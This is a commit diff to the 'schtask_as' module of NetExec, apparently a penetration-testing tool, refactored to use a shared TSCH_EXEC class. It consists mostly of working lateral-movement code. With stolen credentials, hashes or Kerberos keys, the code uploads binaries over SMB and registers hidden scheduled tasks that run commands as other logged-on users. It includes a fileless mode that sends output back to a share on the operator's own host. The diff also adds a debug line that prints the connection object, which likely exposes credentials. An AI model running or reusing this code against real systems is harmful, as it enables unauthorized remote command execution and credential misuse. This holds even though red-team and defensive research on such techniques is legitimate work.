Skip to content

Commit 897fe67

Browse files
author
Aurélien CHALOT
committed
Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class
1 parent 11d484b commit 897fe67

2 files changed

Lines changed: 149 additions & 381 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 39 additions & 274 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,7 @@
11
import os
22
import contextlib
3-
from time import sleep
4-
from datetime import datetime, timedelta
5-
from impacket.dcerpc.v5.dtypes import NULL
6-
from impacket.dcerpc.v5 import tsch, transport
7-
from nxc.helpers.misc import gen_random_string
8-
from nxc.paths import TMP_PATH
9-
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
3+
from traceback import format_exc
4+
from nxc.protocols.smb.atexec import TSCH_EXEC
105

116

127
class NXCModule:
@@ -31,62 +26,63 @@ def options(self, context, module_options):
3126
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
3227
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
3328
"""
34-
self.cmd = self.binary = self.user = self.task = self.file = self.location = self.time = None
29+
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
3530
self.share = "C$"
3631
self.tmp_dir = "C:\\Windows\\Temp\\"
3732
self.tmp_share = self.tmp_dir.split(":")[1]
3833

3934
if "CMD" in module_options:
40-
self.cmd = module_options["CMD"]
35+
self.command_to_run = module_options["CMD"]
4136

4237
if "BINARY" in module_options:
43-
self.binary = module_options["BINARY"]
38+
self.binary_to_upload = module_options["BINARY"]
4439

4540
if "USER" in module_options:
46-
self.user = module_options["USER"]
41+
self.run_task_as = module_options["USER"]
4742

4843
if "TASK" in module_options:
49-
self.task = module_options["TASK"]
44+
self.task_name = module_options["TASK"]
5045

5146
if "FILE" in module_options:
52-
self.file = module_options["FILE"]
47+
self.output_filename = module_options["FILE"]
5348

5449
if "LOCATION" in module_options:
55-
self.location = module_options["LOCATION"]
50+
self.output_file_location = module_options["LOCATION"]
5651

5752
name = "schtask_as"
5853
description = "Remotely execute a scheduled task as a logged on user"
5954
supported_protocols = ["smb"]
6055
multiple_hosts = False
6156

6257
def on_admin_login(self, context, connection):
58+
print(vars(connection))
6359
self.logger = context.log
6460

65-
if self.cmd is None:
61+
if self.command_to_run is None:
6662
self.logger.fail("You need to specify a CMD to run")
6763
return 1
6864

69-
if self.user is None:
65+
if self.run_task_as is None:
7066
self.logger.fail("You need to specify a USER to run the command as")
7167
return 1
7268

73-
if self.binary:
74-
if not os.path.isfile(self.binary):
75-
self.logger.fail(f"Cannot find {self.binary}")
69+
if self.binary_to_upload:
70+
if not os.path.isfile(self.binary_to_upload):
71+
self.logger.fail(f"Cannot find {self.binary_to_upload}")
7672
return 1
7773
else:
78-
self.logger.display(f"Uploading {self.binary}")
79-
with open(self.binary, "rb") as binary_to_upload:
74+
self.logger.display(f"Uploading {self.binary_to_upload}")
75+
with open(self.binary_to_upload, "rb") as binary_to_upload:
8076
try:
81-
self.binary_name = os.path.basename(self.binary)
82-
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_name}", binary_to_upload.read)
83-
self.logger.success(f"Binary {self.binary_name} successfully uploaded in {self.tmp_share}{self.binary_name}")
77+
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
78+
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}", binary_to_upload.read)
79+
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.tmp_share}{self.binary_to_upload_name}")
8480
except Exception as e:
8581
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
8682
return 1
8783

88-
# Returnes self.cmd or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
89-
self.cmd = self.cmd if not self.binary else f"{self.tmp_share}{self.cmd}"
84+
# Returnes self.command_to_run or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
85+
self.command_to_run = self.command_to_run if not self.binary_to_upload else f"{self.tmp_share}{self.command_to_run}"
9086
self.logger.display("Connecting to the remote Service control endpoint")
9187
try:
9288
exec_method = TSCH_EXEC(
@@ -95,23 +91,23 @@ def on_admin_login(self, context, connection):
9591
connection.username,
9692
connection.password,
9793
connection.domain,
98-
self.user,
99-
self.cmd,
100-
self.file,
101-
self.task,
102-
self.location,
10394
connection.kerberos,
10495
connection.aesKey,
10596
connection.host,
10697
connection.kdcHost,
10798
connection.hash,
10899
self.logger,
109100
connection.args.get_output_tries,
110-
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
101+
connection.args.share,
102+
self.run_task_as,
103+
self.command_to_run,
104+
self.output_filename,
105+
self.task_name,
106+
self.output_file_location,
111107
)
112108

113-
self.logger.display(f"Executing {self.cmd} as {self.user}")
114-
output = exec_method.execute(self.cmd, True)
109+
self.logger.display(f"Executing {self.command_to_run} as {self.run_task_as}")
110+
output = exec_method.execute(self.command_to_run, True)
115111

116112
try:
117113
if not isinstance(output, str):
@@ -123,246 +119,15 @@ def on_admin_login(self, context, connection):
123119
for line in output.splitlines():
124120
self.logger.highlight(line.rstrip())
125121

126-
except Exception as e:
127-
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
128-
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
129-
with contextlib.suppress(Exception):
130-
exec_method.deleteartifact()
131-
else:
132-
self.logger.fail(f"Failed to execute command: {e}")
122+
except Exception:
123+
self.logger.debug("Error executing command via atexec, traceback:")
124+
self.logger.debug(format_exc())
125+
with contextlib.suppress(Exception):
126+
exec_method.deleteartifact()
133127
finally:
134-
if self.binary:
128+
if self.binary_to_upload:
135129
try:
136-
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_name}")
137-
context.log.success(f"Binary {self.binary_name} successfully deleted")
130+
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}")
131+
context.log.success(f"Binary {self.binary_to_upload_name} successfully deleted")
138132
except Exception as e:
139-
context.log.fail(f"Error deleting {self.binary_name} on {self.share}: {e}")
140-
141-
142-
class TSCH_EXEC:
143-
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
144-
self.__target = target
145-
self.__username = username
146-
self.__password = password
147-
self.__domain = domain
148-
self.__share_name = share_name
149-
self.__lmhash = ""
150-
self.__nthash = ""
151-
self.__outputBuffer = b""
152-
self.__retOutput = False
153-
self.__aesKey = aesKey
154-
self.__doKerberos = doKerberos
155-
self.__remoteHost = remoteHost
156-
self.__kdcHost = kdcHost
157-
self.__tries = tries
158-
self.__output_filename = None
159-
self.__share = share
160-
self.logger = logger
161-
self.cmd = cmd
162-
self.user = user
163-
self.file = file
164-
self.task = task
165-
self.location = location
166-
167-
if hashes is not None:
168-
if hashes.find(":") != -1:
169-
self.__lmhash, self.__nthash = hashes.split(":")
170-
else:
171-
self.__nthash = hashes
172-
173-
if self.__password is None:
174-
self.__password = ""
175-
176-
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
177-
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
178-
self.__rpctransport.setRemoteHost(self.__remoteHost)
179-
180-
if hasattr(self.__rpctransport, "set_credentials"):
181-
# This method exists only for selected protocol sequences.
182-
self.__rpctransport.set_credentials(
183-
self.__username,
184-
self.__password,
185-
self.__domain,
186-
self.__lmhash,
187-
self.__nthash,
188-
self.__aesKey,
189-
)
190-
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
191-
192-
def deleteartifact(self):
193-
dce = self.__rpctransport.get_dce_rpc()
194-
if self.__doKerberos:
195-
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
196-
dce.set_credentials(*self.__rpctransport.get_credentials())
197-
dce.connect()
198-
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
199-
dce.bind(tsch.MSRPC_UUID_TSCHS)
200-
self.logger.display(f"Deleting task \\{self.task}")
201-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
202-
dce.disconnect()
203-
204-
def execute(self, command, output=False):
205-
self.__retOutput = output
206-
self.execute_handler(command)
207-
return self.__outputBuffer
208-
209-
def output_callback(self, data):
210-
self.__outputBuffer = data
211-
212-
def get_end_boundary(self):
213-
# Get current date and time + 5 minutes
214-
end_boundary = datetime.now() + timedelta(minutes=5)
215-
216-
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
217-
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
218-
219-
def gen_xml(self, command, fileless=False):
220-
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
221-
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
222-
<Triggers>
223-
<RegistrationTrigger>
224-
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
225-
</RegistrationTrigger>
226-
</Triggers>
227-
<Principals>
228-
<Principal id="LocalSystem">
229-
<UserId>{self.user}</UserId>
230-
<RunLevel>HighestAvailable</RunLevel>
231-
</Principal>
232-
</Principals>
233-
<Settings>
234-
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
235-
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
236-
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
237-
<AllowHardTerminate>true</AllowHardTerminate>
238-
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
239-
<IdleSettings>
240-
<StopOnIdleEnd>true</StopOnIdleEnd>
241-
<RestartOnIdle>false</RestartOnIdle>
242-
</IdleSettings>
243-
<AllowStartOnDemand>true</AllowStartOnDemand>
244-
<Enabled>true</Enabled>
245-
<Hidden>true</Hidden>
246-
<RunOnlyIfIdle>false</RunOnlyIfIdle>
247-
<WakeToRun>false</WakeToRun>
248-
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
249-
<Priority>7</Priority>
250-
</Settings>
251-
<Actions Context="LocalSystem">
252-
<Exec>
253-
<Command>cmd.exe</Command>
254-
"""
255-
if self.__retOutput:
256-
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
257-
if self.file is None:
258-
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
259-
else:
260-
self.__output_filename = os.path.join(fileLocation, self.file)
261-
if fileless:
262-
local_ip = self.__rpctransport.get_socket().getsockname()[0]
263-
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
264-
else:
265-
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
266-
267-
elif self.__retOutput is False:
268-
argument_xml = f" <Arguments>/C {command}</Arguments>"
269-
270-
self.logger.debug(f"Generated argument XML: {argument_xml}")
271-
xml += argument_xml
272-
xml += """
273-
</Exec>
274-
</Actions>
275-
</Task>
276-
"""
277-
return xml
278-
279-
def execute_handler(self, command, fileless=False):
280-
dce = self.__rpctransport.get_dce_rpc()
281-
282-
if self.__doKerberos:
283-
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
284-
285-
dce.set_credentials(*self.__rpctransport.get_credentials())
286-
dce.connect()
287-
# Give self.task a random string as name if not already specified
288-
self.task = gen_random_string(8) if self.task is None else self.task
289-
xml = self.gen_xml(command, fileless)
290-
291-
self.logger.info(f"Task XML: {xml}")
292-
self.logger.info(f"Creating task \\{self.task}")
293-
try:
294-
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
295-
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
296-
dce.bind(tsch.MSRPC_UUID_TSCHS)
297-
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
298-
except Exception as e:
299-
if "ERROR_NONE_MAPPED" in str(e):
300-
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
301-
with contextlib.suppress(Exception):
302-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
303-
elif e.error_code and hex(e.error_code) == "0x80070005":
304-
self.logger.fail("Create schedule task got blocked.")
305-
with contextlib.suppress(Exception):
306-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
307-
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
308-
self.logger.fail(f"User {self.user} does not exist in the domain.")
309-
with contextlib.suppress(Exception):
310-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
311-
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
312-
with contextlib.suppress(Exception):
313-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
314-
elif "ERROR_ALREADY_EXISTS" in str(e):
315-
self.logger.fail(f"Create schedule task failed: {e}")
316-
else:
317-
self.logger.fail(f"Create schedule task failed: {e}")
318-
with contextlib.suppress(Exception):
319-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
320-
return
321-
322-
done = False
323-
while not done:
324-
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
325-
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
326-
if resp["pLastRuntime"]["wYear"] != 0:
327-
done = True
328-
else:
329-
sleep(2)
330-
331-
self.logger.info(f"Deleting task \\{self.task}")
332-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
333-
334-
if self.__retOutput:
335-
if fileless:
336-
while True:
337-
try:
338-
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
339-
self.output_callback(output.read())
340-
break
341-
except OSError:
342-
sleep(2)
343-
else:
344-
smbConnection = self.__rpctransport.get_smb_connection()
345-
tries = 1
346-
while True:
347-
try:
348-
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
349-
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
350-
break
351-
except Exception as e:
352-
if tries >= self.__tries:
353-
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
354-
break
355-
if "STATUS_BAD_NETWORK_NAME" in str(e):
356-
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
357-
break
358-
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
359-
sleep(3)
360-
tries += 1
361-
else:
362-
self.logger.debug(str(e))
363-
364-
if self.__outputBuffer:
365-
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
366-
smbConnection.deleteFile(self.__share, self.__output_filename)
367-
368-
dce.disconnect()
133+
context.log.fail(f"Error deleting {self.binary_to_upload_name} on {self.share}: {e}")

0 commit comments

Comments
 (0)